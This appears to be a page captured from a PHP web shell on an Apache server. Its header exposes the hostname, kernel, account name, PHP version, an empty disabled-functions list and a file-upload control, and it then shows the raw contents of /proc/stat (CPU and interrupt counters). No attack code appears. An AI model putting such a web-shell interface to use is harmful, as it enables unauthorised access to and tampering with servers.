HEX
Server: Apache
System: Linux 4801F1B1.ptr.provps.com 6.16.7-1.el9.elrepo.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Sep 11 13:27:45 EDT 2025 x86_64
User: nassaugo (1001)
PHP: 8.1.33
Disabled: NONE
Upload Files
File: //proc/stat
cpu  66718453 775565 15367964 1931885622 228696 0 125740 1325934 0 0
cpu0 16928308 199091 3864439 482939730 52255 0 78071 382633 0 0
cpu1 16425305 205865 3816952 482971024 60051 0 18772 351172 0 0
cpu2 16509369 188128 3831129 482922244 61246 0 10531 304557 0 0
cpu3 16855470 182480 3855443 483052623 55142 0 18365 287571 0 0
intr 7970284001 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 733936196 4271305 1071796 135142141 0 839851932 4881883 1070739 106807975 847430301 4822180 1024388 90665645 766012527 4872836 1091253 84724011 0 0 0 702 618 3944584 4240918 4456572 3979337 68692 64221 76563 72979 20347936 20725641 21692107 1281141 20810193 22096998 21080064 1252491 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
ctxt 2032351995
btime 1758110518
processes 5845352
procs_running 2
procs_blocked 0
softirq 2660393022 0 1409373606 51973030 47873952 17769325 0 19013719 870125976 52680 244210734